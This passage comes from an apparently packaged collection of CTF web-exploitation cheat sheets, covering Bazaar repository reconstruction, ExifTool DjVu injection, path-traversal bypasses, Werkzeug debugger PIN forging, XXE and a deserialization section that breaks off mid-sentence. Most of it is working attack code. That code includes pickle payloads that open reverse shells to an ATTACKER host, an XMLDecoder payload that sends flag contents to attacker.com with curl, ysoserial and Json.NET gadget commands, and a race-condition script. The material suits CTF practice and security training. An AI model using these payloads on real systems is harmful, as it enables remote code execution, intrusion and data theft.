`bzr check` tolerates partial repos and, on missing data, names the expected path in its error message. A loop that reads each error and `wget`s the corresponding file rebuilds the repository, after which `bzr revert` and `bzr diff` expose every committed revision — including secrets that were later removed.\n\n```bash\n# 1. Seed a local repo so bzr has a skeleton to work with\nmkdir ctf && cd ctf && bzr init\necho foo > foo.txt && bzr add && bzr commit -m init && rm foo.txt\n\n# 2. Replace the pointer files with copies from the victim\ncd .bzr/branch && rm last-revision && wget http://target/.bzr/branch/last-revision\ncd ../checkout && rm dirstate && wget http://target/.bzr/checkout/dirstate\ncd ../repository && rm pack-names && wget http://target/.bzr/repository/pack-names\ncd ../../\n\n# 3. Loop until bzr check stops complaining about missing indices/packs\nwhile true; do\n OUT=$(bzr check 2>&1)\n [[ \"$OUT\" != *\"No such file:\"* ]] && break\n F=$(echo \"$OUT\" | sed 's/.*\\([0-9a-f]\\{32\\}\\).*/\\1/')\n for EXT in cix iix rix six tix; do\n wget -P .bzr/repository/indices/ \"http://target/.bzr/repository/indices/$F.$EXT\"\n done\n wget -P .bzr/repository/packs/ \"http://target/.bzr/repository/packs/$F.pack\"\ndone\nbzr revert\n\n# 4. Mine every revision for interesting diffs\nfor R in $(bzr log --line | awk '{print $1}'); do bzr diff -r$((R-1))..$R; done\n```\n\n**Key insight:** Exposed `.bzr/` (or `.git/`, `.hg/`, `.svn/`) directories leak full commit history; bzr is particularly friendly because it tolerates partial repos and reports the missing path verbatim, so a wget-in-a-loop solver finishes the job. Always diff revisions, not just `HEAD` — flags, wallet keys, and decryption keys are often *removed* in a later commit but still recoverable. Once the tree is reconstructed you can chain with challenges like STEM CTF \"Medium is overrated\", where revision N stores a base64 ciphertext and revision M stores the AES-ECB key.\n\n**References:** STEM CTF Cyber Challenge 2019 — My First Blog & Medium is overrated, writeups 13380 and 13379\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":22250,"content_sha256":"11aa3d4ac279117dcc9b0b97a741a98dc365b37e68ed276afe7d288dfe8225ff"},{"filename":"server-side-advanced.md","content":"# CTF Web - Advanced Server-Side Techniques\n\n## Table of Contents\n- [ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)](#exiftool-cve-2021-22204--djvu-perl-injection-0xfun-2026)\n- [Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)](#go-runebyte-length-mismatch--command-injection-vuwctf-2025)\n- [Zip Symlink Path Traversal (UTCTF 2024)](#zip-symlink-path-traversal-utctf-2024)\n- [Path Traversal Bypass Techniques](#path-traversal-bypass-techniques)\n - [Brace Stripping](#brace-stripping)\n - [Double URL Encoding](#double-url-encoding)\n - [Python os.path.join](#python-ospathjoin)\n- [Nginx Alias Traversal to Leak .env (VolgaCTF 2018)](#nginx-alias-traversal-to-leak-env-volgactf-2018)\n- [/dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)](#devfd-symlink-to-bypass-proc-filter-google-ctf-2017)\n- [Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)](#unicode-homoglyph-path-traversal-u2e2e-csaw-2017)\n- [Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)](#ruby-regexpescape-multibyte-character-bypass-square-ctf-2017)\n- [Flask/Werkzeug Debug Mode Exploitation](#flaskwerkzeug-debug-mode-exploitation)\n- [XXE with External DTD Filter Bypass](#xxe-with-external-dtd-filter-bypass)\n- [Path Traversal: URL-Encoded Slash Bypass](#path-traversal-url-encoded-slash-bypass)\n\nSee also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2 (SSRF-to-Docker, Castor XML, Apache ErrorDocument, SQLite path traversal, HQL non-breaking space, base64 path traversal, 8.3 short filename bypass, parse_url @ bypass, PHP zip:// LFI, XSS-to-SSTI, INSERT column shift, session cookie forgery). See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3 (WAV polyglot, multi-slash URL bypass, Xalan math:random, SoapClient CRLF, gopher no-host, SSRF credential leak). See also: [server-side-advanced-4.md](server-side-advanced-4.md) for Part 4 (WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS sslsplit, CairoSVG XXE, Bazaar repo reconstruction).\n\n---\n\n## ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)\n\n**Affected:** ExifTool ≤ 12.23\n\n**Vulnerability:** DjVu ANTa annotation chunk parsed with Perl `eval`.\n\n**Craft minimal DjVu exploit:**\n```python\nimport struct\n\ndef make_djvu_exploit(command):\n # ANTa chunk with Perl injection\n ant_data = f'(metadata \"\\\\c${{{command}}}\")'.encode()\n\n # INFO chunk (1x1 image)\n info = struct.pack('>HHBBii', 1, 1, 24, 0, 300, 300)\n\n # Build DJVU FORM\n djvu_body = b'DJVU'\n djvu_body += b'INFO' + struct.pack('>I', len(info)) + info\n if len(info) % 2: djvu_body += b'\\x00'\n djvu_body += b'ANTa' + struct.pack('>I', len(ant_data)) + ant_data\n if len(ant_data) % 2: djvu_body += b'\\x00'\n\n # FORM header\n # AT&T = optional 4-byte prefix; FORM = IFF chunk type (separate fields)\n djvu = b'AT&T' + b'FORM' + struct.pack('>I', len(djvu_body)) + djvu_body\n return djvu\n\nexploit = make_djvu_exploit(\"system('cat /flag.txt')\")\nwith open('exploit.djvu', 'wb') as f:\n f.write(exploit)\n```\n\n**Detection:** Check ExifTool version. DjVu format is the classic vector. Upload the crafted DjVu to any endpoint that processes images with ExifTool.\n\n---\n\n## Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)\n\n**Pattern (Go Go Cyber Ranger):** Go validates `len([]rune(input)) > 32` but copies `len([]byte(input))` bytes.\n\n**Key insight:** Multi-byte UTF-8 chars (emoji = 4 bytes) count as 1 rune but 4 bytes → overflow.\n\n**Exploit:** 8 emoji (32 bytes, 8 runes) + `\";cmd\\n\"` = 40 bytes total, passes 32-rune check but overflows into adjacent buffer.\n\n```bash\n# If flag check uses: exec.Command(\"/bin/sh\", \"-c\", fmt.Sprintf(\"test \\\"%s\\\" = \\\"%s\\\"\", flag, input))\n# Inject: \";od f*\\n\"\npayload='🔥🔥🔥🔥🔥🔥🔥🔥\";od f*\\n'\ncurl -X POST http://target/check -d \"secret=$payload\"\n```\n\n**Detection:** Go web app with length check on `[]rune` followed by byte-level operations (copy, buffer write). Always check for rune/byte mismatch in Go.\n\n---\n\n## Zip Symlink Path Traversal (UTCTF 2024)\n\n**Pattern (Schrödinger):** Server extracts uploaded ZIP without checking symlinks.\n\n```bash\n# Create symlink to target file, zip with -y to preserve\nln -s /path/to/flag.txt file.txt\nzip -y exploit.zip file.txt\n# Upload → server follows symlink → exposes file content\n```\n\n**Detection:** Any upload+extract endpoint. `zip -y` preserves symlinks. Many zip extraction utilities follow symlinks by default.\n\n---\n\n## Path Traversal Bypass Techniques\n\n### Brace Stripping\n`{.}{.}/flag.txt` → `../flag.txt` after processing\n\n### Double URL Encoding\n`%252E%252E%252F` → `../` after two decode passes\n\n### Python os.path.join\n`os.path.join('/app/public', '/etc/passwd')` → `/etc/passwd` (absolute path ignores prefix)\n\n---\n\n### Nginx Alias Traversal to Leak .env (VolgaCTF 2018)\n\n**Pattern:** Nginx `alias` misconfiguration allows path traversal when a `location` block's path doesn't end with `/` but the `alias` does. The path remainder is appended unsafely, allowing `..` traversal out of the aliased directory.\n\n```nginx\n# Vulnerable Nginx configuration:\nlocation /laravel {\n alias /var/www/html/public/;\n}\n# Note: /laravel has NO trailing slash, but alias has one\n# This creates a join mismatch: /laravel\u003canything> maps to /var/www/html/public/\u003canything>\n```\n\n```bash\n# Exploit: traverse out of the public/ directory to read .env\nGET /laravel../.env HTTP/1.1\n# Nginx resolves: alias \"/var/www/html/public/\" + \"../.env\" = /var/www/html/.env\n\n# Read application source\nGET /laravel../app/Http/Controllers/AuthController.php HTTP/1.1\n\n# Read other config files\nGET /laravel../config/database.php HTTP/1.1\nGET /laravel../storage/logs/laravel.log HTTP/1.1\n```\n\n```python\nimport requests\n\ntarget = \"http://target\"\n\n# Leak Laravel .env file (contains APP_KEY, DB credentials, etc.)\nr = requests.get(f\"{target}/laravel../.env\")\nif r.status_code == 200:\n print(\"[+] .env contents:\")\n print(r.text)\n # Look for APP_KEY, DB_PASSWORD, API keys, etc.\n```\n\n**Detection checklist:**\n```text\n# Test for the misconfiguration on common paths:\n/static../\n/assets../\n/public../\n/media../\n/uploads../\n/laravel../\n# Any location block using alias without matching trailing slashes\n```\n\n**Key insight:** When an Nginx `location` directive lacks a trailing slash but its `alias` has one, the path is joined unsafely, allowing `..` traversal out of the aliased directory. This is a common misconfiguration in Laravel deployments where `/laravel` maps to the `public/` directory. Always check for trailing slash mismatches between `location` and `alias` directives.\n\n---\n\n## Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)\n\n**Pattern:** U+2E2E (REVERSED QUESTION MARK, UTF-8: `E2 B8 AE`) normalizes to a period (U+002E, 0x2E) in some Python HTTP backends and Unicode normalization layers. Sending `%E2%B8%AE%E2%B8%AE/flag.txt` bypasses ASCII dot checks (`..` blocked) while the resolved path becomes `../flag.txt`.\n\n```bash\n# Standard path traversal blocked by ASCII dot check:\ncurl \"http://target/files/../../flag.txt\" # blocked: contains \"..\"\n\n# U+2E2E homoglyph bypass:\ncurl \"http://target/files/%E2%B8%AE%E2%B8%AE/flag.txt\"\n# Backend normalizes E2B8AE → 0x2E (period), resolves as ../flag.txt\n```\n\n```python\nimport requests\n\n# U+2E2E = REVERSED QUESTION MARK (⸮), UTF-8: 0xE2 0xB8 0xAE\n# Normalizes to FULL STOP (.) in NFKC/NFC after some transformations\n\nhomoglyph_dot = '\\u2E2E'\npayload = f\"{homoglyph_dot}{homoglyph_dot}/flag.txt\"\n\nr = requests.get(f\"http://target/files/{payload}\")\n# If backend normalizes Unicode before filesystem access but after validation:\nprint(r.text)\n```\n\n**Other Unicode dot homoglyphs to try:**\n```text\nU+2E2E ⸮ REVERSED QUESTION MARK (E2 B8 AE) → .\nU+FF0E . FULLWIDTH FULL STOP (EF BC 8E) → .\nU+2024 ․ ONE DOT LEADER (E2 80 A4) → .\nU+FE52 ﹒ SMALL FULL STOP (EF B9 92) → .\n```\n\n**Key insight:** Unicode normalization inconsistencies between the validation layer and execution layer enable path traversal with non-ASCII dot homoglyphs. U+2E2E is a lesser-known alternative to fullwidth tricks (U+FF0E). Test normalization forms NFKC and NFC — Python's `unicodedata.normalize('NFKC', char)` reveals what each character collapses to.\n\n---\n\n## Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)\n\n**Pattern:** Ruby's `Regexp.escape` operates byte-by-byte. A `%bf` byte followed by `%5c` (backslash) forms a valid GBK/Big5 multibyte character, consuming the backslash. This leaves subsequent characters unescaped, breaking the intended regex escaping.\n\n```ruby\n# Regexp.escape escapes special chars by prepending backslash\n# e.g., Regexp.escape(\"a.b\") → \"a\\\\.b\"\n\n# Vulnerability: byte 0xBF followed by 0x5C (backslash) is a valid GBK character\n# Regexp.escape sees 0xBF → not a special char, passes through\n# Then sees 0x5C → escapes it to 0x5C 0x5C (double backslash)\n# But in GBK: 0xBF 0x5C is ONE character (the lead byte absorbs the backslash)\n# So the \"escape\" produces: 0xBF 0x5C 0x5C = GBK_char + 0x5C\n# The second backslash then escapes the NEXT character, not the intended one\n\n# Result: subsequent input characters become unescaped in the regex\n```\n\n```python\n# In a CTF context: HTTP request with GBK lead byte in parameter\nimport requests\n\n# %bf%5c in URL-encoded form — in GBK this is one character\n# When Ruby calls Regexp.escape on the input, the backslash is consumed\npayload = \"\\xbf\\x5c\" + \".*\" # GBK char eats the backslash; .* is now unescaped in regex\n\nr = requests.get(\"http://target/search\", params={\"q\": payload})\n# If backend uses: /#{Regexp.escape(params[:q])}/ as a regex pattern\n# The .* passes through unescaped, matching any string\n```\n\n**Exploitation scenario:**\n```ruby\n# Vulnerable code:\npattern = /#{Regexp.escape(user_input)}/\nif flag.match(pattern)\n puts \"Match!\"\nend\n\n# Inject: \"\\xbf\\x5c.*\" → Regexp.escape produces \"\\xbf\\\\\\\\..*\"\n# In GBK context: first two bytes are one char, leaving \".*\" unescaped\n# Pattern becomes: /\\xbf\\\\.*/ which in GBK matches the flag (greedy .*)\n```\n\n**Key insight:** Byte-level escaping functions are vulnerable to multibyte character injection. A GBK/Big5 lead byte (0xBF) followed by 0x5C forms a valid single character, consuming the backslash that `Regexp.escape` just added. This leaves subsequent characters unescaped. Check for non-ASCII input handling in Ruby regex validation, especially when the application supports CJK character sets.\n\n---\n\n## /dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)\n\n**Pattern:** When an application filters `/proc` in file read parameters to prevent access to process information, `/dev/fd` provides an alternative path since it is a symlink to `/proc/self/fd` on Linux.\n\n```bash\n# Bypass /proc filter to read environment variables\ncurl \"http://target/?f=/dev/fd/../environ\"\n# /dev/fd -> /proc/self/fd, then ../ traverses to /proc/self/\n\n# Read command line\ncurl \"http://target/?f=/dev/fd/../cmdline\"\n\n# Read memory maps\ncurl \"http://target/?f=/dev/fd/../maps\"\n\n# Read specific file descriptor contents\ncurl \"http://target/?f=/dev/fd/0\" # stdin\ncurl \"http://target/?f=/dev/fd/1\" # stdout\ncurl \"http://target/?f=/dev/fd/3\" # often a database or config file\n```\n\n**Other /proc filter bypass paths:**\n```text\n/dev/fd/../environ # → /proc/self/environ\n/dev/fd/../cmdline # → /proc/self/cmdline\n/dev/fd/../maps # → /proc/self/maps\n/dev/fd/../status # → /proc/self/status\n/dev/fd/../cwd/app.py # → /proc/self/cwd/app.py (working dir)\n/dev/stdin/../environ # /dev/stdin → /proc/self/fd/0, then ../\n```\n\n**Key insight:** `/dev/fd` is a symlink to `/proc/self/fd` on Linux. Traversing up with `../` reaches `/proc/self/`, bypassing blocklist checks for the literal string `/proc`. Similarly, `/dev/stdin`, `/dev/stdout`, and `/dev/stderr` link into `/proc/self/fd/` and can be used as traversal pivot points. Always test these alternatives when `/proc` is blacklisted.\n\n---\n\n## Flask/Werkzeug Debug Mode Exploitation\n\n**Pattern (Meowy, Nullcon 2026):** Flask app with Werkzeug debugger enabled + weak session secret.\n\n**Attack chain:**\n1. **Session secret brute-force:** When secret is generated from weak RNG (e.g., `random_word` library, short strings):\n ```bash\n flask-unsign --unsign --cookie \"eyJ...\" --wordlist wordlist.txt\n # Or brute-force programmatically:\n for word in wordlist:\n try:\n data = decode_flask_cookie(cookie, word)\n print(f\"Secret: {word}, Data: {data}\")\n except: pass\n ```\n2. **Forge admin session:** Once secret is known, forge `is_admin=True`:\n ```bash\n flask-unsign --sign --cookie '{\"is_admin\": true}' --secret \"found_secret\"\n ```\n3. **SSRF via pycurl:** If `/fetch` endpoint uses pycurl, target `http://127.0.0.1/admin/flag`\n4. **Header bypass:** Some endpoints check `X-Fetcher` or similar custom headers — include in SSRF request\n\n**Werkzeug debugger RCE:** If `/console` is accessible:\n1. **Read system identifiers via SSRF:** `/etc/machine-id`, `/sys/class/net/eth0/address`\n2. **Get console SECRET:** Fetch `/console` page, extract `SECRET = \"...\"` from HTML\n3. **Compute PIN cookie:**\n ```python\n import hashlib\n h = hashlib.sha1()\n for bit in (username, \"flask.app\", \"Flask\", modfile, str(node), machine_id):\n h.update(bit.encode() if isinstance(bit, str) else bit)\n h.update(b\"cookiesalt\")\n cookie_name = \"__wzd\" + h.hexdigest()[:20]\n h.update(b\"pinsalt\")\n num = f\"{int(h.hexdigest(), 16):09d}\"[:9]\n pin = \"-\".join([num[:3], num[3:6], num[6:]])\n pin_hash = hashlib.sha1(f\"{pin} added salt\".encode()).hexdigest()[:12]\n ```\n4. **Execute via gopher SSRF:** If direct access is blocked, use gopher to send HTTP request with PIN cookie:\n ```python\n cookie = f\"{cookie_name}={int(time.time())}|{pin_hash}\"\n req = f\"GET /console?__debugger__=yes&cmd={cmd}&frm=0&s={secret} HTTP/1.1\\r\\nHost: 127.0.0.1:5000\\r\\nCookie: {cookie}\\r\\n\\r\\n\"\n gopher_url = \"gopher://127.0.0.1:5000/_\" + urllib.parse.quote(req)\n # SSRF to gopher_url\n ```\n\n**Key insight:** Even when Werkzeug console is only reachable from localhost, the combination of SSRF + gopher protocol allows full PIN bypass and RCE. The PIN trust cookie authenticates the session without needing the actual PIN entry.\n\n---\n\n## XXE with External DTD Filter Bypass\n\n**Pattern (PDFile, PascalCTF 2026):** Upload endpoint filters keywords (\"file\", \"flag\", \"etc\") in uploaded XML, but external DTD fetched via HTTP is NOT filtered.\n\n**Technique:** Host malicious DTD on webhook.site or attacker server:\n```xml\n\u003c!-- Remote DTD (hosted on webhook.site) -->\n\u003c!ENTITY % data SYSTEM \"file:///app/flag.txt\">\n\u003c!ENTITY leak \"%data;\">\n```\n\n```xml\n\u003c!-- Uploaded XML (clean, passes filter) -->\n\u003c?xml version=\"1.0\"?>\n\u003c!DOCTYPE book SYSTEM \"http://webhook.site/TOKEN\">\n\u003cbook>\u003ctitle>&leak;\u003c/title>\u003c/book>\n```\n\n**Key insight:** XML parser fetches and processes external DTD without applying the upload keyword filter. Response includes flag in parsed field.\n\n**Setup with webhook.site API:**\n```python\nimport requests\nTOKEN = requests.post(\"https://webhook.site/token\").json()[\"uuid\"]\ndtd = '\u003c!ENTITY % d SYSTEM \"file:///app/flag.txt\">\u003c!ENTITY leak \"%d;\">'\nrequests.put(f\"https://webhook.site/token/{TOKEN}/request/...\",\n json={\"default_content\": dtd, \"default_content_type\": \"text/xml\"})\n```\n\n---\n\n## Path Traversal: URL-Encoded Slash Bypass\n\n**`%2f` bypass:** Nginx route matching doesn't decode `%2f` but filesystem does:\n```bash\ncurl 'https://target/public%2f../nginx.conf'\n# Nginx sees \"/public%2f../nginx.conf\" → matches /public/ route\n# Filesystem resolves to /public/../nginx.conf → /nginx.conf\n```\n**Also try:** `%2e` for dots, double encoding `%252f`, backslash `\\` on Windows.\n\n---\n\nSee [server-side-advanced-4.md](server-side-advanced-4.md) for WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS interception, CairoSVG XXE, and Bazaar repo reconstruction.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":16184,"content_sha256":"a91041527bc3c9b03f8089cfd65fb45b943a1271c8491876953d16dc61e616cd"},{"filename":"server-side-deser.md","content":"# CTF Web - Deserialization & Execution Attacks\n\nFor core injection attacks (SQLi, SSTI, SSRF, XXE, command injection), see [server-side.md](server-side.md).\n\n## Table of Contents\n- [Java Deserialization (ysoserial)](#java-deserialization-ysoserial)\n- [Python Pickle Deserialization](#python-pickle-deserialization)\n- [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use)\n- [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013)\n- [Java XMLDecoder Deserialization RCE (HackIM 2016)](#java-xmldecoder-deserialization-rce-hackim-2016)\n- [.NET JSON TypeNameHandling Deserialization (DefCamp 2017)](#net-json-typenamehandling-deserialization-defcamp-2017)\n- [PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)](#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016)\n- [PHP SoapClient CRLF SSRF via __call() Deserialization (N1CTF 2018)](#php-soapclient-crlf-ssrf-via-__call-deserialization-n1ctf-2018)\n- [Java TiedMapEntry + LazyMap + Reflection HashMap Patch (Trend Micro 2018)](#java-tiedmapentry--lazymap--reflection-hashmap-patch-trend-micro-2018)\n- [Werkzeug SecureCookie Pickle RCE after SECRET_KEY Leak (CSAW 2018 Finals)](#werkzeug-securecookie-pickle-rce-after-secret_key-leak-csaw-2018-finals)\n- [PHP unserialize + Double URL Encoding curl LFI (FireShell CTF 2019)](#php-unserialize--double-url-encoding-curl-lfi-fireshell-ctf-2019)\n- [Python Pickle RCE Wrapped in ROT13(Base64) (TAMUctf 2019)](#python-pickle-rce-wrapped-in-rot13base64-tamuctf-2019)\n\n---\n\n## Java Deserialization (ysoserial)\n\n**Pattern:** Java apps using `ObjectInputStream.readObject()` on untrusted input. Serialized Java objects in cookies, POST bodies, or ViewState (base64-encoded, starts with `rO0AB` or hex `aced0005`).\n\n**Detection:**\n- Base64 decode suspicious blobs — Java serialized data starts with magic bytes `AC ED 00 05`\n- Search for `ObjectInputStream`, `readObject`, `readUnshared` in source\n- Content-Type `application/x-java-serialized-object`\n- Burp extension: Java Deserialization Scanner\n\n**Key insight:** Deserialization triggers code in `readObject()` methods of classes on the classpath. If a \"gadget chain\" exists (sequence of classes whose `readObject` → method calls lead to arbitrary execution), the attacker gets RCE without needing to upload code.\n\n```bash\n# Generate payloads with ysoserial\njava -jar ysoserial.jar CommonsCollections1 'id' | base64\njava -jar ysoserial.jar CommonsCollections6 'cat /flag.txt' > payload.ser\n\n# Common gadget chains (try in order):\n# CommonsCollections1-7 (Apache Commons Collections)\n# CommonsBeanutils1 (Apache Commons BeanUtils)\n# URLDNS (no execution — DNS callback for blind detection)\n# JRMPClient (triggers JRMP connection)\n# Spring1/Spring2 (Spring Framework)\n\n# Blind detection via DNS callback (no RCE needed):\njava -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64\n\n# Send payload\ncurl -X POST http://target/api -H 'Content-Type: application/x-java-serialized-object' \\\n --data-binary @payload.ser\n```\n\n**Bypass filters:**\n- If `ObjectInputStream` subclass blocklists specific classes, try alternative chains\n- `ysoserial-modified` and `GadgetProbe` enumerate available gadget classes\n- JNDI injection (Java Naming and Directory Interface): `java -jar ysoserial.jar JRMPClient 'attacker:1099'` + `marshalsec` JNDI server\n- For Java 17+ (module system restrictions): look for application-specific gadgets or Jackson/Fastjson deserialization instead\n\n---\n\n## Python Pickle Deserialization\n\n**Pattern:** Python apps deserializing untrusted data with `pickle.loads()`, `pickle.load()`, or `shelve`. Common in Flask/Django session cookies, cached objects, ML model files (`.pkl`), Redis-stored objects.\n\n**Detection:**\n- Base64 blobs containing `\\x80\\x04\\x95` (pickle protocol 4) or `\\x80\\x05\\x95` (protocol 5)\n- Source code: `pickle.loads()`, `pickle.load()`, `_pickle`, `shelve.open()`, `joblib.load()`, `torch.load()`\n- Flask sessions with `pickle` serializer (vs default `json`)\n\n**Key insight:** Python's `pickle.loads()` calls `__reduce__()` on deserialized objects, which can return `(os.system, ('command',))` — instant RCE. There is NO safe way to deserialize untrusted pickle data.\n\n```python\nimport pickle, base64, os\n\nclass RCE:\n def __reduce__(self):\n return (os.system, ('cat /flag.txt',))\n\npayload = base64.b64encode(pickle.dumps(RCE())).decode()\nprint(payload)\n\n# For reverse shell:\nclass RevShell:\n def __reduce__(self):\n return (os.system, ('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"',))\n\n# Using exec for multi-line payloads:\nclass ExecRCE:\n def __reduce__(self):\n return (exec, ('import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])',))\n```\n\n**Bypass restricted unpicklers:**\n- `RestrictedUnpickler` may allowlist specific modules — chain through allowed classes\n- If `builtins` allowed: `(__builtins__.__import__, ('os',))` then chain `.system()`\n- YAML deserialization (`yaml.load()` without `Loader=SafeLoader`) has similar RCE via `!!python/object/apply:os.system`\n- NumPy `.npy`/`.npz` files: `numpy.load(allow_pickle=True)` triggers pickle\n\n---\n\n## Race Conditions (Time-of-Check to Time-of-Use)\n\n**Pattern:** Server checks a condition (balance, registration uniqueness, coupon validity) then performs an action in separate steps. Concurrent requests between check and action bypass the validation.\n\n**Key insight:** Send identical requests simultaneously. The server reads the \"before\" state for all of them, then applies all changes — each request sees the pre-modification state.\n\n```python\nimport asyncio, aiohttp\n\nasync def race(url, data, headers, n=20):\n \"\"\"Send n identical requests simultaneously\"\"\"\n async with aiohttp.ClientSession() as session:\n tasks = [session.post(url, json=data, headers=headers) for _ in range(n)]\n responses = await asyncio.gather(*tasks)\n for r in responses:\n print(r.status, await r.text())\n\nasyncio.run(race('http://target/api/transfer',\n {'to': 'attacker', 'amount': 1000},\n {'Cookie': 'session=...'},\n n=50))\n```\n\n**Common CTF race condition targets:**\n- **Double-spend / balance bypass:** Transfer or purchase endpoint checked `if balance >= amount` → send 50 simultaneous transfers, all see original balance\n- **Coupon/code reuse:** Single-use codes validated then marked used → redeem simultaneously before mark\n- **Registration uniqueness:** `if not user_exists(name)` → register same username concurrently, one overwrites the other (admin account takeover)\n- **File upload + use:** Upload file, server validates then moves → access file between upload and validation (or between validation and deletion)\n\n```bash\n# Turbo Intruder (Burp) — most reliable for precise timing\n# Or use curl with GNU parallel:\nseq 50 | parallel -j50 curl -s -X POST http://target/api/redeem \\\n -H 'Cookie: session=TOKEN' -d 'code=SINGLE_USE_CODE'\n```\n\n**Detection in source code:**\n- Non-atomic read-then-write patterns without locks/transactions\n- `SELECT ... UPDATE` without `FOR UPDATE` or serializable isolation\n- File operations: `if os.path.exists()` then `open()` (classic TOCTOU)\n- Redis `GET` then `SET` without `WATCH`/`MULTI`\n\n---\n\n## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)\n\n**Pattern:** Chain multiple pickle operations in a single `pickle.loads()` call by stripping the STOP opcode (`\\x2e`) from the first payload and concatenating a second payload.\n\n**Key insight:** The pickle VM executes instructions sequentially. Removing the STOP opcode from the first serialized object causes the deserializer to continue executing the second payload's `__reduce__` call. Combined with `os.dup2()` to redirect stdout to the socket FD, this enables output capture from `os.system()` over the network.\n\n```python\nimport pickle, os\n\nclass Redirect:\n def __reduce__(self):\n return (os.dup2, (5, 1)) # Redirect stdout to socket fd 5\n\nclass Execute:\n def __reduce__(self):\n return (os.system, ('cat /flag.txt',))\n\n# Strip STOP opcode from first payload, concatenate second\npayload = pickle.dumps(Redirect())[:-1] + pickle.dumps(Execute())\n```\n\n**When to use:** Remote pickle deserialization where command output is not returned. Chain `dup2` first to redirect stdout/stderr to the socket, then execute commands.\n\n---\n\n## Java XMLDecoder Deserialization RCE (HackIM 2016)\n\nJava's `XMLDecoder` automatically instantiates classes and invokes methods from XML input. Craft XML to execute arbitrary commands:\n\n```xml\n\u003cobject class=\"java.lang.Runtime\" method=\"getRuntime\">\n \u003cvoid method=\"exec\">\n \u003carray class=\"java.lang.String\" length=\"3\">\n \u003cvoid index=\"0\">\u003cstring>/bin/sh\u003c/string>\u003c/void>\n \u003cvoid index=\"1\">\u003cstring>-c\u003c/string>\u003c/void>\n \u003cvoid index=\"2\">\u003cstring>curl attacker.com/?c=$(cat /flag)\u003c/string>\u003c/void>\n \u003c/array>\n \u003c/void>\n\u003c/object>\n```\n\n**Key insight:** Unlike binary Java deserialization, XMLDecoder provides a text-based gadget-free path to RCE — no gadget chain needed.\n\n---\n\n## .NET JSON TypeNameHandling Deserialization (DefCamp 2017)\n\n**Pattern:** Json.NET (Newtonsoft.Json) with `TypeNameHandling.All` or `TypeNameHandling.Objects` deserializes the `$type` field to instantiate arbitrary classes. By injecting a `$type` value pointing to a privileged class in the loaded assemblies, an attacker can execute arbitrary code or access protected functionality.\n\n```csharp\n// Vulnerable server-side code:\nvar settings = new JsonSerializerSettings {\n TypeNameHandling = TypeNameHandling.All // UNSAFE: deserializes $type field\n};\nvar obj = JsonConvert.DeserializeObject(userInput, settings);\n```\n\n```json\n// Basic injection — instantiate a class with a dangerous constructor/property:\n{\n \"$type\": \"System.Windows.Data.ObjectDataProvider, PresentationFramework\",\n \"MethodName\": \"Start\",\n \"ObjectInstance\": {\n \"$type\": \"System.Diagnostics.Process, System\",\n \"StartInfo\": {\n \"$type\": \"System.Diagnostics.ProcessStartInfo, System\",\n \"FileName\": \"cmd.exe\",\n \"Arguments\": \"/c calc.exe\"\n }\n }\n}\n```\n\n```json\n// Simpler: inject a custom application class to escalate privileges:\n{\n \"$type\": \"MyApp.Models.AdminCommand, MyApp\",\n \"Action\": \"ReadFlag\",\n \"TargetPath\": \"/flag.txt\"\n}\n```\n\n```python\nimport requests, json\n\n# Target: endpoint deserializing JSON with TypeNameHandling.All\npayload = {\n \"$type\": \"MyApp.Commands.ExecuteCommand, MyApp\",\n \"Command\": \"cat /flag\"\n}\n\nr = requests.post(\"http://target/api/process\",\n json=payload,\n headers={\"Content-Type\": \"application/json\"})\nprint(r.text)\n```\n\n**Gadget chains for RCE (ysoserial.net):**\n```bash\n# Generate Json.NET payload with ysoserial.net:\nysoserial.exe -g ObjectDataProvider -f Json.Net -c \"calc.exe\"\n# Common gadgets: ObjectDataProvider, WindowsIdentity, ActivitySurrogateSelector\n```\n\n**Detection:** .NET/ASP.NET application, JSON requests. Look for `$type` in API responses (if the server also serializes with TypeNameHandling). Check error messages for Newtonsoft.Json stack traces.\n\n**Key insight:** `$type` in Json.NET can instantiate any class in the loaded assemblies. Any class with dangerous constructors, implicit conversions, or settable properties that trigger side effects becomes an attack surface. Use `ysoserial.net` to enumerate known gadget chains. Defense: use `TypeNameHandling.None` (default) and a custom `ISerializationBinder` allowlist.\n\n---\n\n## PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)\n\n**Pattern:** A post-serialization string filter replaces \"where\" (5 chars) with \"hacker\" (6 chars), creating a length mismatch in the serialized string. The serialized length field says N bytes, but after expansion the actual string is longer, causing the PHP deserializer to read past the intended boundary and parse attacker-controlled data as serialized fields.\n\n```php\n// The target payload to inject as a serialized field:\n$payload = '\";}s:5:\"photo\";s:10:\"config.php\";}';\n// Repeat \"where\" enough times so the expansion (5->6 per word) overflows\n// by exactly strlen($payload) bytes:\n$_POST['nickname[]'] = str_repeat(\"where\", strlen($payload)) . $payload;\n```\n\n**How it 